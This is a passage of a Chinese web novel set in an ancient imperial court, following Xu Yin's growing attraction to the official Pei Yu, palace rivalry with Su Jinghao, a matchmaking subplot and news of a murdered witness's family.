裴彧则完全不同,他面上稳重,心思深沉,少年权臣该有的东西他全部都有。但有时又很幼稚,很恶劣,显出那不为人知的少年心性。 徽音现在还真有几分好奇,曾经的裴彧是什么样。 裴彧问:“睡不着?” 徽音被他突然出声打断思绪,她闭上眼装睡。 她听见裴彧轻轻笑起来,像羽毛划过她的耳窝,带起酥酥麻麻的痒意。 裴彧说:“你气息不平,再怎么装我也知道你没睡。” 徽音坐起身,长发瀑谢,她抱着膝盖闷闷道:“你在这里,我睡不着。” 裴彧起身走远,徽音目光跟着他的身影移动,她看见裴彧拿了盏铜灯台点燃,朝她的方向走。 她视线里,只看的见发光的裴彧。 铜灯台散发的橘色光晕笼罩裴彧,他掀起帷幔,走到徽音面前,将那盏铜灯台放在床边,而后坐在床上,望着徽音。 “睡不着,我陪你说会话。” 他低低的叙述起来,声音暗哑。 裴彧将宫宴席上广陵算计是始末都告诉徽音,包括鲁王被骗,宫婢佩儿身亡。 他告诉徽音,广陵在城西侵占的的土地已经全部被收回,她气不过,想找陛下做主,却被裴皇后带走,借宫规的由头好生教训了一番。 还有鲁王,他喝醉酒,言语间对诸多女眷不敬,传进陛下耳中。陛下生气,罚他禁足一月。甘泉行宫行程不过三月,他被禁足一个月不得出,现在到处找人替他求情。 他说了很多,徽音却没怎么听去进,她望着裴彧睫毛上金橘色的光晕,眼底流转的笑意,后知后觉的发现,他今夜异常温柔。 徽音听着他低低的声音,睡意来袭。 裴彧注意到徽音犯困,她一顿一顿的脑袋,他伸手扶着徽音躺下,轻抚她的眉眼,声音轻的像风:“睡吧。 —— 翌日,徽音看着院中态度恭恭敬敬的乔媪,还有她带来的上好补品,珠宝首饰,心中微讶。 她本想寻个时机找裴夫人,再花些心思让她放下芥蒂。没想到裴彧已经出手帮她解决了,徽音示意颜娘将东西收好。 她起身微笑的望着乔媪,“我应当亲自去向夫人道谢。” 乔媪拦住徽音,语气恭谨:“女君受肖夫人所邀,带着贺女郎出游,宋娘子晚些再去东院吧。” 徽音停下脚步,问:“可是为着相看一事?” “正是,肖夫人想说和贺女郎与太史令家的小郎君。” 乔媪走后没多久,睢阳便来了,她身边依旧跟着那位神色严谨的女媪,静默无声的站在她身后。 睢阳也带来了很多上好的补品,她面有愧色,进屋后不好意思的望着徽音,圆圆的眼睛里满是歉意。 “徽音阿姊,我对不住你,若不是我没能约束好婢女,你也不会遭此难。” 徽音拉着她坐下,将刚刚放凉的绿豆汤放在她面前,柔声道:“与你有何干系,只有千日作贼,没有千日防贼的道理。” 睢阳歪着脑袋,伸手握住徽音的手掌,发髻上的垂珠轻晃,“徽音阿姊不怪我就好。” 徽音低头拍拍她的手,发觉她手上带着一串茉莉花苞串成的手链,花苞洁白,散发淡淡的清香。 睢阳抬起手,开心道:“这是子邵给我的,是他亲手所串。” 睢阳的未婚夫王瑄,字子邵,亦是王寰的堂弟,琅琊王氏子。 三年前,陛下赐婚睢阳和王寰,将皇家和氏族绑在一起。这桩利益至上的婚约,却因为睢阳和王子邵彼此爱慕,成了一桩好姻缘。 两人感情胜笃,婚期定在了明年春日。 睢阳道:“我今日来除了看望阿姊,还受人之托来问你近况。” 徽音已经才到是何人所托,她目光沉静:“劳烦你转告,就说我已无恙,一切安好。下次见面,我再当面答谢他。” 睢阳默默记下,有些为难的开口:“阿姊,我本不该问出口,但我替王郎君送信,对不起表兄,心中不安。你与王郎君” 徽音知道她在担忧什么,“你放心,只要我在裴府一日,就不会做对不起你表兄的事。” 睢阳连连摆手,眼底满是好奇怪,“我并非这个意思,我是想问,你到心中那人是谁呀?” 徽音失笑,“你们怎么都来问我这个。” 她起身走到门外,望着高悬的炎日,叹道:“我与他们二人皆不是同路人。” 睢阳不懂,却也没再缠着徽音问下去。她起身走到徽音身边,指着东边开心道:“徽音阿姊,傲石碑那里有不少郎君女郎玩乐,子邵也在那,我们一起去看看好不好?” 徽音不忍拒绝她的好意,换了身靛蓝曲裾深衣,同睢阳出门。 黄门内侍举着丝绸伞盖遮阳替两人遮阳,随侍的宫婢低眉垂眼的跟在身后。 睢阳挽着徽音的手臂,看得出来她很高兴,一路上滔滔不绝的讲述这些时日她与王子邵游玩的趣事。 两人到傲石碑时这里已经是人声鼎沸,偌大的青草地上,三三两两从扎着几间青庐。郎君娘子们凑在一起嬉笑玩乐,有投壶,六博棋,角抵,弄丸和行酒令。 傲石碑前,举着一群锦衣华服的少年郎,他们在围在一起,含笑的看着正中央辩论的两人。 其中一人宽脸长眉,面相敦厚,他是丞相的长子。另一人五官精致,唇红齿白,身形瘦削,笑起来如春日里的暖阳,令人侧目。 他便是睢阳的未婚夫,王瑄,字子邵。 睢阳也瞧见了他,抱着徽音的胳膊眉眼弯弯的望着那边。 “徽音阿姊,他们在说什么?” 徽音听了片刻,丞相长子信奉黄老无为而治的学说,而王子邵则提倡儒家学说,两人都是长安的青年才俊,各执己见,这一碰面便争执起来,非要分个高低。这种事情在京中屡见不鲜。 徽音:“学说争论罢,你要过去吗?” 睢阳摇摇头,“等他忙完,我们先去玩投壶。” 她拉着徽音挤进人堆。投壶这处正好开新赛,主持是一位小郎君,他手持羽扇轻扇,声音轻朗:“这局的规矩不同,想上的都上来,同时投,每人十支羽箭,比分第一者胜出。” 小郎君后退一步,指着他身后的一个雕花木匣笑道:“这是彩头,至于是什么,只有赢家才能知道。” 那雕花木匣工艺精致,外头布满彩绘,其锁是精巧的鲁班锁,一看便知是个稀罕物。睢阳来了兴趣,她很好奇那匣子里是什么东西,奈何她投壶技艺不精,上场也是输的份。 她可怜兮兮的望着徽音,双手做乞求状,“徽音阿姊,帮帮我。” 徽音无奈,“我也不精于此道,你不要报太大希望。” 睢阳忙不迭的点头,正打算对徽音说没事时,身后有人轻拍她的右肩膀。她回过头去,没看见人。左肩膀又被人轻拍,睢阳又转向左侧,依旧没看见人。 她叉腰轻哼:“王子邵!” 王子邵笑嘻嘻的凑上前,少年眉眼精致,比他堂兄王寰还要俊俏三分。 他先是恭敬的问徽音好,然后凑近睢阳,摸摸她的头,笑问:“央央,你来了怎么不找我。” 睢阳改为双手横抱,她侧身望着王子邵,心中一动,抬手推着王子邵往前走,在他耳边念叨:“来不及解释了,你看见那边那个雕花木匣了吗,我想要那个,你帮我赢回来。” 王子邵任由睢阳推着他往前走,他侧着脸,全心全意的看着睢阳,拍着胸膛保证,“放心,我定给你赢回来。” 睢阳笑盈盈道:“好啊,要是你输了,罚你日日替我采晨露。” 王子邵停住脚步,转身面对睢阳,倾身在她额头上弹了个脑瓜,“我赢了,也日日替你去采。” 徽音望着他们两人打闹的身影,发自内心的为他们感到高兴。睢阳大名赵央,这世上,除了陛下和皇后,也就只有王子邵一人能唤她央央。 睢阳长在深宫中,却被裴后护的很好,她心思单纯,性子极好,对任何人都抱有一颗良善的心。 而王子邵,少年意气风发,爱意至纯,世家大族出生,上头有一个才华横溢的堂兄,王家日后也无需他撑着,他也能去做自己想做的。 这两人本是一桩联姻凑在一起,但阴差阳错变成一个好结局,也是上天眷顾。小公主以后一定会幸福美满,长乐未央。 —— 徽音回迎风馆时,裴夫人和贺佳莹已经回了,正在东院纳凉。她过去向裴夫人行礼道谢,感谢她早晨送来的补品和衣裙首饰。 裴夫人初时还觉得有些尬尴,但她见徽音毫无芥蒂,依旧像从前那般待她,她也放下心,脸上笑意更深了几分。 徽音从东院出来后,身后还跟着小尾巴贺佳莹,她一脸菜色,整个都恹恹的,提不起劲。 进了西院,徽音吩咐颜娘去备点糕点吃食,两人坐在院中那颗枝繁叶茂的大树下纳凉。 徽音倒了杯樱果汁递给贺佳莹,问道:“太史令家的小郎君如何?” 贺佳莹当酒般闷头喝完那杯樱果汁,一副历尽沧桑的模样:“很好,家世人品都没得说。” 徽音见她这副一阵好笑,再替她倒了杯樱果汁,又问:“这般好,你为何闷闷不乐?” “长的很一般,”贺佳莹顿了顿,愁眉苦脸道,“我知道嫁人不能看脸,要看家世人品,家风如何,可是,他长的实在有些普通。” 徽音在脑中回想关于太史令一家的事迹,太史令掌管天文历法和史书编修,这一任的太史令郭韬是靠自己一步一步从走上来的,家风简单,一妻一妾,一儿一女。 他的儿子徽音没有见过,她只见过郭家的小女儿,小家碧玉,落落大方。 她对郭家的印象还不错。 徽音问:“抛开郭郎君的相貌不谈,你觉得他人如何?” 贺佳莹往咬了口雪酥糕,回忆今日与郭廉的相见,“进退有礼,话不多,但很会照顾人。他还会观星,他告诉我,最近这段时间,夜间东方向会出现七颗亮星,形状酷似勺柄,那便是北斗七星!” 徽音浅笑,这郭郎君倒是不木讷,知道如何讨女子欢心,“这么说,他除了相貌平凡,其他的都是优点。” 贺佳莹别扭道:“我也算颇有姿容,配个相貌堂堂的郎君,应该不为过吧。” “唔。”徽音坐直身体,打量着贺佳莹的面容。 贺佳莹也不自觉的挺身。 凭心而论,贺佳莹与裴夫人有三分像,容色俏丽,一双大眼睛给她增添几分可爱,身材纤细,是个妥妥的美人。 徽音肯定道:“相貌很好。” 贺佳莹惆怅道:“姨母很满意郭家,郭夫人看似也挺满意我的。” 徽音剥着新采摘上来的莲蓬,将一颗颗饱满的莲蓬米放在碗中。她不喜欢喝其他茶叶,却唯独爱这嫩芽莲心,晒干后泡茶,带着莲子的清香和苦涩。 “你若不愿,直言便是,你的终身大事,定要你自己喜欢才好。” 贺佳莹挪过来,帮着徽音剥莲子,叹气道:“我就是不知道该如何是好,我心中清楚,郭家对我来说已经是最好的选择了。” “徽音,你说我该如何做?” 徽音剥了颗嫩莲子塞进贺佳莹口中,问:“甜吗?” 贺佳莹嚼碎莲子咽下去,点点头。 徽音将剥好的莲子拿给颜娘,懒洋洋的起身伸腰。 “过日子呢,就如这颗莲子,只有你自己才知道是否甘甜。我给不了你多余的建议,但你可以试着和他接触一下,过些时日再看。” 贺佳莹懵懵懂懂的点头,她走后,颜娘笑道:“徽音怎么看这门婚事?” 徽音躺在檐下的矮榻上,舒舒服服的闭上眼睛,回道:“就目前得知的消息来看,郭家很好,我都想嫁了。” 太史令和其他官不同,史书编修倒是其次,最重要的是能熟练掌握天文历法。历来太史令都是家族相传,郭廉日后必会接替其父的官位成为太史令,前途一片大好。 郭家人口简单,裴夫人爱中贺佳莹,必定是打听过他们家的。她能放心让贺佳莹很郭廉见面,说明郭家很好,没什么污糟事。 更何况,贺佳莹出身不显,凭她的身份高嫁太难,低嫁又太委屈。太史令俸禄六百石,正好处于不高不低的状态。 贺佳莹背靠裴府,郭家也需要凭借裴彧的势力来震慑其他人。贺佳莹嫁过去,即使犯蠢昏招频出,也不会过的太差。 第39章 这裴彧,心眼小不说,…… 翌日一早, 裴后内侍传召,徽音挑了件稳重的深衣曲裾,随内侍前往内宫。裴后今日传召, 应是为了前日夜宴上的算计,找她问清内情。 梧桐殿坐落在湖心, 殿前的石桥道是唯一通往的途径,徽音跟在内侍身后,抬眼打量这座宫殿。 内侍领着她进入前殿,裴后坐在殿正中央, 身前是一座鎏金四足桐木案,案上摆着盏雁鱼铜灯和若干竹简, 她身边还坐着一位藕荷色曲裾娘子, 侧耳听着裴后的话语。 内侍恭敬的磕头行礼,“禀皇后娘娘, 裴家宋娘子已带到。” 徽音跪在青黑石板上,凉意顺着裙摆爬上膝盖,她俯身磕头,“妾恭请皇后娘娘圣安。” 裴后笑意盈盈的抬手:“起来吧。” 徽音乖顺的起身,垂首立在下方, 等待裴后的吩咐。 殿内侍候的宫婢在裴后的示意下在靠近矮案的地方摆上一个锦席, 徽音在她们的指引的跪坐上去, 身姿端正, 低眉垂首, 双手放于腹前。 “不必拘礼, 此处没有外人在。予叫你来是想想问问你,宫婢佩儿自尽,她身后那人你可有眉头?” 裴后今日没有像宫宴那日盛装, 她只穿了一件浅紫曲裾,头发挽在脑后,周身气度宁静和善。 徽音和上方的苏静好对视一眼,两人不约而同的移开目光,她回道:“佩儿身后那人,妾不知。” 裴后轻轻颚首,表情看不出喜怒,“广陵实在放肆,予已经罚过她了,你的伤可还好?” “只有些碰伤,已经无恙。”徽音回。 裴后招手,示意姚兰过去替徽音看看身体。徽音不明所以,坐在原地没动。姚兰轻轻跪在她的身边,搭手在她腕上号脉。 裴后解释:“姚兰是医女,叫她给你看看,予也放心些。” 号完脉后,姚兰脸上浮现笑意,朝裴后道:“宋娘子身体无恙,体健神旺,宜于嗣育。” 徽音:“……”她算了明白了,裴后醉翁之意不在酒,今日主要是想让姚兰替她把脉,探知她的身体情况。 裴后放下心,看徽音一脸无措的状态不禁笑道:“裴家子嗣不丰,予现在就盼着元晞早日有后,他身边如今就你一人,可全靠你了。” 徽音支支吾吾的回道:“妾身份低微……如何能为裴家延绵子嗣。” “你可听过母凭子贵?”裴后意味深长道。 徽音和苏静好心中同时掀起惊涛骇浪,裴后是何意? 裴后看着徽音惊异的神色,掩唇失笑,看来她那侄儿还有得等。本次甘泉宫之行,徽音本不在列,是裴彧亲自进宫请她加上的。 前日夜宴后,裴彧为了给徽音出气,抢了广陵在城西的田地不说,还在淮南王面前上了一波眼药。她得到消息,淮南王已经有些按捺不住,要向陛下请旨让世子和广陵成婚。 裴后轻轻抬手,身着宫装的四名婢女捧着漆盘小步走进前殿,跪在徽音身后,她笑道:“这些补药的你都带回去,记住,每日都要服用。” 徽音哑然片刻,再度俯身磕头,“妾叩谢娘娘。” “好了,别磕来磕去的。”裴后指着身旁的苏静好对徽音道,“你们姐妹二人也多日不曾碰面了吧,今日就在我这里好好聚聚。” 苏静好起身,走到徽音身边扶起她,脸上笑意真诚:“徽音妹妹,近来可好?” 徽音望着她瞧不出破绽的神情,心中赞叹,她第一次知道苏静好演技这么好,明明两人私下斗的你死我活,面上却一点端倪都不漏,还和从前一样。 她不动声色的抽出手,亲热的挽住的苏静好的手臂,言语亲近:“多谢阿姊关心,我很好。” 装样子嘛,她也挺拿手的。两人对视浅笑,眼底波涛汹涌。才出了大殿,两人便动作同步的收了笑,彼此相隔丈远。 苏静好率先开口:“想不到,你运气还挺好。” 徽音从袖中掏出棉帕,慢条斯理的擦着手,冷淡回道:“希望你的运气也这么好。” 苏静好冷笑片刻,视线如一条阴冷的毒蛇缠着徽音,语调却婉转,“你不会真当相信裴后的话,以为自己有机会能做裴氏夫人吧。” 徽音挑眉,“你怕了?” 苏静好轻笑,轻抚手腕上的翠玉镯子,“我会怕你?只怕你没机会和我对上。” 徽音认识那翠玉镯子,是三年前蜀中敬献的一块天然翠玉,成色极好,皇后命内府雕琢成三件玉镯和两枚玉牌。 玉镯赏给了太子,吴王,鲁王,玉牌赏给了广陵和睢阳,虽未言说,但众人心知肚明,这是给未来王妃和驸马的信物。 看来苏静好和太子感情很好,两人尚未成婚,太子便把这玉镯给了她。 徽音笑吟吟道:“机会是创造,就如你买通睢阳的婢女一样。” “你有证据吗?或者说,你敢去裴后面前说事情与我有关吗?”苏静好有恃无恐。 徽音没有接话,她确实不敢,从入行宫中以来,裴后便高调的带着苏静好出入各种场合,还让协助处理公务,分明是在告诉所有人她很满意苏静好。 她也许也很喜欢徽音,不过这点喜欢都是看在裴彧的面子上。徽音现下是个孤女,而苏静好背后有苏府,徽音是裴家一个普普通通的妾,而苏静好是未来的太子妃。裴后信谁,或者说她选谁,不言而喻。 苏静好逼近一步,单手挑起徽音的下颚,手上艳丽的豆蔻妖艳无比,她贴着徽音的耳边如情人间呢喃:“徽音,你斗不过我的。我有权有势,捏死你就跟一只蚂蚁一样简单,你只要老老实实回荆州去,我保证不伤害你。” 徽音笑出声。 苏静好眼神发冷,手下用力,“你笑什么?” 徽音打掉苏静好的手臂,目光越过她的身后,唤道:“太子殿下。” 苏静好神色慌乱,变脸速度令徽音惊叹不语。只见她立马换上那副温柔浅笑的表情,回身屈膝行礼,声音柔媚:“太子殿下。” 苏静好等了片刻,没有听到回声,她心中焦急,难道太子听到她方才和徽音的对话,对她失望生气了? 想到此处,她连忙抬头解释:“殿下,你听我……” 面前空无一人,只有一阵风卷起一片落叶飘过,苏静好哪会不明白,她是被徽音戏耍了。 “你……”她回头去看徽音,却见徽音已经走到后殿,同睢阳站在一起闲话,目光嘲讽的划过她,嘴角挂着笑。 苏静好脸色扭曲,强压下心中的怒火走过去。她还没到,睢阳便拉着徽音进入后殿,从头到尾没看她一眼。 她静静的站在原地,指甲断裂,眼神阴毒。 —— 临近午时,徽音回到迎风馆,贺佳莹坐在外院等,见到徽音的声音迎上去,得意之色尽显。 徽音心念一懂,问:“打听到了?” 贺佳莹仰着脑袋,发髻上的金枝叶一颤一颤的,“那当然,你也不瞧瞧我是谁?” 徽音拉着她走进西院,将院中闲话的婢女谴走,两人进了屋坐下,她问:“乐漪是何人?” 贺佳莹:“她是吴王新纳的妾室,长安本地人,有个兄长去年去世了,如今只剩她一人。吴王很喜爱她,大家都唤她乐娘子。” “你见过她吗?”徽音问。 贺佳莹点点头,说:“前几日里远远的瞧上了一面,容色不凡,不过郑妃娘娘不喜她,手下的几个宫婢都对她言语不敬。” 徽音点点头,示意自己知道了。颜娘在屋外敲门,问徽音裴后送来的补药如何处置。 想到此处徽音就一阵头痛,裴后的心思她实在看不明白,裴彧尚未娶妻,现在弄出一个庶长子来,以后婚事岂会顺遂。 还有她那番意味深长的话,叫人摸不着头脑。若非知晓裴后对裴彧的看重,徽音都要猜测她是故意争对裴彧。 她有气无力的朝外喊:“收起来,别让人瞧见了。” 她和裴彧本至今未圆房,喝再多药也无济于事。徽音更不想折腾自己,更何况,她也绝不会替裴彧生育子嗣。 贺佳莹好奇道:“娘娘也给你送补药了?” 徽音叹气,此补药非彼补药。 贺佳莹注意到徽音身侧放着一个精致的雕花木匣子,她问:“这个是什么?” 徽音答:“昨日王子邵投壶赢下的彩头,他送给了睢阳,上头的鲁班锁睢阳解不开,让我帮她看看。” 她拿起那个鲁班锁,端详了片刻,她在睢阳那里就看出来如何解了,只不过需要花些时间才能算出来,这才把这个木匣带回来。 “王子邵?” 贺佳莹仿佛拨云见日一半,惊叫道:“我想起来了,我想起来那个面首像谁了,就是睢阳殿下的未婚夫,王瑄!” 徽音已经习惯贺佳莹一惊一乍的性格,听见她突然大喊也没有惊吓到,只不过,她说的内容叫她好奇的很。 “你确定?” 贺佳莹肯定道:“我确定,我上一次见王子邵还是两年前,这才一直没想起来。” “你相信我。”她怕徽音不信,指天发誓道,“我真没记错!” 徽音把玩手中的鲁班锁,眉眼带笑,“信不信的,一试便知。” 贺佳莹:“如何试?” 徽音招手示意她附耳过来,在她耳边低语片刻。贺佳莹表情先是有些害怕,片刻后,她面上的表情全部变成了跃跃欲试。 徽音和贺佳莹用完饭,刚将人送走,就看见颜娘急匆匆的走过来,低语道:“冯郎君传信,想要见您。” 徽音接过她手中的布条,缓缓展开,冯承约的地方很奇怪,他约在了苑林马场。 老实说,徽音很不愿意去这个地方,陛下十日后要在苑林马场围猎,裴彧这些日时日都在忙着苑林马场布防一事。去这里,难免会撞见他,再发生跟上次一样的尴尬的事情。 她和裴彧因宫宴那晚的算计关系缓和了不少,若再来一出,那得再受什么苦缓和一下。 颜娘看着徽音为难的表情,问:“怎么了?” “我在想,找个什么借口去苑林马场。”徽音愁眉苦脸道。 颜娘失笑:“这还用想,带着糕点或是凉汤,就说是去看望少将军的。” 徽音迟疑道:“这样好吗?” 颜娘已经动作麻利的吩咐阿桑等人去准备东西,她回头道,“少将军整日在苑林马场那边,女君都给他送了不少吃食和衣物,唯独您这没有动静,说不过去。” 徽音听着也觉得不妥,她好像是有点太闲散了,不管内里如何,里子功夫得下足。等颜娘将东西备妥,用漆盒装好。 徽音带上幕离,带着颜娘慢悠悠的朝苑林马场走去。一路上她们遇见了好些人,多是一些年轻气盛的小郎君和女郎们结伴出游。 苑林马场极大,宫人们精心养护的草地绿意盎然,叫人一见心旷神怡。山中凉风徐徐,徽音一路走来也不觉得热。马场大门前有虎贲卫队驻守,查验进入马场人的身份。 徽音看进去的人手中都拿着一枚铜印,她让颜娘上前问问,那是何物。颜娘回来告诉她,那是通行令,这几日马场戒严,无干人等不得进入。 徽音心中奇怪,冯承知不知道马场戒严一事,甘泉宫中可以见面的地方多的是,他为何要约她来马场?现在她没有通行令,根本进不去。 颜娘问:“要不要去跟那几个卫兵说,我们是来找少将军的。” 徽音掀开幕离,摇摆不定。 “徽音阿姊,真的是你!” 远处传来一道少年高呼欣喜的声音,徽音和颜娘侧头看去,绿草地上,一队骑兵缓慢的朝她们方向走过来。 左侧方的蓝衣少年朝她们招手,露出一口大白牙,在他身侧,是一身轻甲的裴彧。 徽音等他们走近后,上前几步,努力避开身侧不容忽视的视线,仰头望着裴衍,轻声道:“我来送些东西。” 颜娘会意的提起手中的漆盒。裴衍视线被吸引,他问道:“太好了,有绿豆汤吗,我要热昏了。” 徽音看他额头汗如雨下的泪珠,笑着点头,“有。” 裴衍欢呼片刻,拿着一双黑黝黝的眼睛望着身侧的裴彧,裴彧扫了眼他这没出息的模样,率先下马,将乌骓交给身后的驰厌。 他则走到徽音身边,淡淡道:“进去吧。” 有他带路,自然一路顺通无阻的进了苑林,这地分前后两处,前方是巍峨壮丽的高台阁楼建筑,后边则是靠近山脚的一片茂密的林子,绿沉沉的,看不见底。 裴彧带着徽音一路进了卫所大堂,这里是他平时处理公务的地方,大堂很简陋,与外边色彩明艳,雕工出众的殿宇相差甚远。 堂中只摆了张颜色暗沉的老旧漆木案和正中间一个似床榻般大的沙盘,上面假山沙石勾勒,将整甘泉宫的地形描绘回来,沙盘上还零零散散的插着些细小的红旗帜。 不像卫所,倒像行军打仗的军帐。 裴彧取下腰间的配件挂在案几后的兵器架上,裴衍跟在他身后像一阵风似的接过颜娘手的漆盒放在桌上,迫不及待的拿出里面冰镇过的绿豆汤,盛在碗中大口的喝着。 徽音看他馋成这样,没忍住问出声,“这边没有灶房吗?” 裴彧擦着汗,没回头,“有灶房,没有冰。” 裴衍百忙之中抽空出声:“我同阿兄在山脊上巡了一圈,实在是太热了。” “这点热都受不住,你还说要上战场。”裴彧收拾好,也盛了碗绿豆汤,大口的喝着,但动作比裴衍斯文许多。 他颈上还有没擦干的汗珠,随着他喝汤的动作,在喉结上下涌动,徽音看着,脑中浮现一个字,欲。 裴衍没回,他一屁股坐在地上,眼神清亮的望着徽音,问:“徽音阿姊,是阿母让你来的吗?” 徽音轻轻看了眼裴彧,他已经放下碗,倚靠在墙壁上,侧耳听着她和裴衍谈话。 “不是,我自己想来。” 裴衍脸上泛起狭促的笑容,他意味深长的点点头,一会看看徽音,一会又看看站着的裴彧,看热闹的心思全部写在脸上。 裴彧见不得他一副傻样,不过两句话就将裴衍撵出去练武。裴衍走后,颜娘自觉将剩余的绿豆汤收拾好,提下去给卫所其他的卫兵分食。 一时间,大堂内只剩徽音和裴彧二人。 徽音想起昨夜他哄自己睡觉的场景,耳尖不自觉的红了起来。 裴彧一直盯着她,从她出现在苑林马场门口时,视线就一直没从徽音身上离开过。他问:“很热?” 徽音不自然的侧过身,躲避他的视线,摇头回道:“还好。” 裴彧却不放过她,他走上前,距离徽音不过一步远,这个距离能让他清晰的看见面前人耳后一片红意。 他抬手摸上去,手下肌肤发烫。 徽音不妨他突然动手,惊惧之下退后两步,躲开裴彧的手,防备的望着他。 “你干什么?” 裴彧收回手,回味的摩两下,睁眼说着瞎话:“你这里染上了灰。” 徽音狐疑的摸着耳朵,轻轻擦了两下,“还有吗?” “有” 徽音抬手再擦了两下,又问:“还有吗? 裴彧肯定的点点头。 徽音环顾了下四周,发现不远处放着一个装着清水的铜盆,她走过去,打算照照位置。 身后突然有人伸手拉住她,滚热的手心顺着她的臂膀一路攀爬,烫到她的心口。 裴彧的身体贴上来,他的胸膛很宽,轻而易举的就能容纳住徽音。 徽音一时之间竟没去挣开他,而是闭上眼睛侧头轻嗅,她还没闻到什么,就被一块香帕遮住鼻子。 裴彧笑道:“你是狗吗?” 徽音脸红,掀开脸上的帕子退出他的怀抱。 “我……”她不知道该怎么解释自己方才的鬼迷心窍。 裴彧也不需要她解释,他取过徽音手中的帕子,动作轻柔擦着方才说有灰尘的地方。其实根本没有灰,那块肌肤已经被徽音擦的通红,裴彧轻轻碰了两下,收回手退后。 “好了。” 徽音摸摸耳后,真诚的道谢。 她看见裴彧轻笑起来,笑声钻进她的耳朵里,心里又痒了起来。 他说:“你在这里等我,我先去更衣。” 裴彧走后,徽音循着记忆出了大堂,路上遇见几个瞅着她探头探脑的虎贲兵,她回以微笑,礼貌的问他们苑林文书台在哪里。 几个虎贲兵争先恐后的给她指方向,徽音一一道谢,加快脚步走过去。 文书台里面人影来回走动,似乎很忙碌,徽音听见冯承的声音。 他在骂一个人,巧的很,那人徽音也认识。 “杀千刀的裴彧,就会背后玩阴招。” 旁边有人在劝他,“冯郎君,小声些。叫他听见了又给咱们加活。” 冯承怒急,大喊:“我怕他?!” 徽音叫守在门外的小黄门替她进去唤人,她等在文书台大门后,静静的等着。冯承出门便瞧见了徽音,原本还挂着怒的脸色瞬间好转起来,带着徽音去了后院。 后院寂静幽清,栽着一颗双人才能环抱住的大榕树,冯承拉着徽音躲进树后,“此处人少,不会被人发现。” 徽音问:“阿兄,你怎会在此处?” “别提了,”冯承擦着汗,满脸怨气,“那日晚上被裴彧撞见你我在一起后,他第二日便找到我叔父,说我这个年纪可以进入官场历练一番,正好他那里缺个文吏帮忙。我叔父一听,便将我卖给了裴彧,任他使唤。” 冯承咬牙切齿道:“他可真不是人,拿戒严当借口,非他允许我不得出。也不知道从哪网罗来一批文书,让我加急整理出来,我好些时日都被困在这里,连宫宴都没来及去参加。” 徽音默默听着,愧疚道:“若不是因为我,他也不会为难阿兄。” 冯承摇摇头,语重心长,“徽音,你整日与他这样阴险的人待在一起,不知要花多少心思应对。我算是看明白了,这裴彧,心眼小不说,还心脏!” 徽音实在忍不住笑出声,她歪着头想,裴彧,确实小心眼,至于心脏不脏,她还没机会见识。 冯承将心中憋闷已久的气撒出来后,提起了正事。他目光严肃,“我接下来要说的话你要做好准备。” 徽音收起笑,“事关袁秩?” “没错。”冯承点点头,斟酌道:“我的人传来消息,已经找了袁秩一家人,只不过,全家上下连同七岁小儿都没活口。” 徽音静默片刻,她痛恨袁秩,也为稚子感到悲哀,与虎谋皮的下场叫人心惊。难怪苏静好有恃无恐,原来是能威胁到苏家的人已经叫他们全杀了,她是笃定没了袁秩,徽音翻不出风浪。 冯承继续道:“我派人去袁家遇害的地方翻了底朝天,什么证据都没发现,他们做的可真干净。” “从袁秩失踪那刻起,这个结果我就预料到了。” 徽音叹了口气,失望吗?当然失望,没有袁秩的指认,她就算是成功替父亲翻案也无法扳倒苏家。 冯承抿紧唇,安慰道:“徽音,你别灰心,一定还有其他办法的。” 徽音点点头,她向冯承告别,独自一人回到大堂。裴彧还未归。 第40章 赢了算你的,输了算我的…… 裴彧沐浴更衣完, 换了身干净的衣服,轻嗅了下身上的味道,都是皂角的清香味。 他满意的点点头, 出门时又照了照了铜镜整理衣冠,然后大步流星去找徽音, 像个情窦初开的毛头小子。 他脚步停在门外,望着堂内的发呆徽音,眼底是他自己都未曾发觉的柔软。 “在想什么?” 徽音转头看过去,他换了身常服, 久违的穿了件朱红色的曲裾深衣,袍子上是用金线勾勒的星辰暗纹。 徽音从没件他穿过这么艳丽的颜色, 乍一看下, 她还以为遇见了哪家的俊俏新郎官,连素来冷漠的眉眼都染上靡丽。 “你……” 裴彧挑眉, “我怎么?” 他不动还好,一动,整个人都鲜活起来,身上透着一股勾人劲,低垂的睫毛, 深情的眼睛还有唇边浅浅的笑。 徽音好似觉得他是只狐妖化形而成, 来勾她的。她也算是见过世面, 长安内大大小小的郎君见了个遍, 皮囊最好的当属王瑄和裴彧。 前者热烈, 五官精致, 用女郎们间的话来讲,他就像条热枕的忠犬,总是用那双湿润的眼盯着你, 叫人心颤。 裴彧,他很风流。不是说他整个人滥情,是他的气质风流,看你的眼神总淡淡的,冷漠的,薄唇微抿。但细看来,处处都勾人。脸勾人,腰背勾人,长腿也勾人。 他没有王瑄受小女娘们欢迎,但在夫人圈子里,他绝对是大家都眼馋的那个。 徽音耳边莫名浮现一夫人的的调侃:若能同裴元晞春风一夜,死了也甘愿。她浑身发热,好像回到中药那夜,控制不住的想贴上他。 裴彧见她不说话,凑上去问,“傻了?” 徽音看见他嘴边的坏笑,她心颤颤的,呆呆道:“你真奇怪。” “哪里奇怪?”裴彧撩开衣袍,贴着徽音坐下,贴着她的侧耳低声问,“我哪里奇怪?” 徽音挪开锦席,避开他劲瘦有力的大腿,不合时宜的想起做的那个春梦,脸攸的爆红。她低头掐着手心,在心中怒骂自己,宋徽音,你不要昏头了。 “脸这么红,你在想什么?” “没……想什么。”没出息,徽音默默骂自己,怎么就闹成这样了,她心虚极了,不敢抬头去看裴彧。 裴彧盯着她泛红的脸,喉结轻动,他也想慢慢来,一步一步的织网困住她,叫她从里到外,从心到身都离不开他。但现在,他有点忍不住了。 他抓住宋徽音想要逃离的身体,拉近两人的距离,逼过去问:“为什么不敢看我,你在心虚什么?” “我没有!”徽音看着放大的俊脸,卡壳了。无它,她看见裴彧的唇,就想起他问的“舒服吗”。 徽音一把捂住裴彧的唇,望着他露在外的眼和高挺的鼻梁,紧紧闭上眼再睁开,甩开心底旖旎的心思,脸色恢复正常。 徽音问:“你为何刁难冯承?” 裴彧坐直身体,挑眉望着徽音,修长的手指覆在膝上,“问他做甚么,你去见他了?” “你欺负他。”徽音蹙着眉。 裴彧漫不经心的理着衣,问:“我欺负他什么了?” 明明他神色与方才没有多大的变化,但徽音能感觉到,他生气了。她眼里露出迷茫之色,他怎么又生气了。 徽音思考片刻,主动凑过去,柔软的小手握住裴彧青筋暴起的手掌,小心翼翼的问:“我提冯承,你生气了吗?” 裴彧静静感受手心里的温度,掀起眼皮瞧了徽音一眼,“你说呢?” 他这一眼让徽音恢复平静的心再度猛烈的跳起来,短短一瞬,她想了很多。 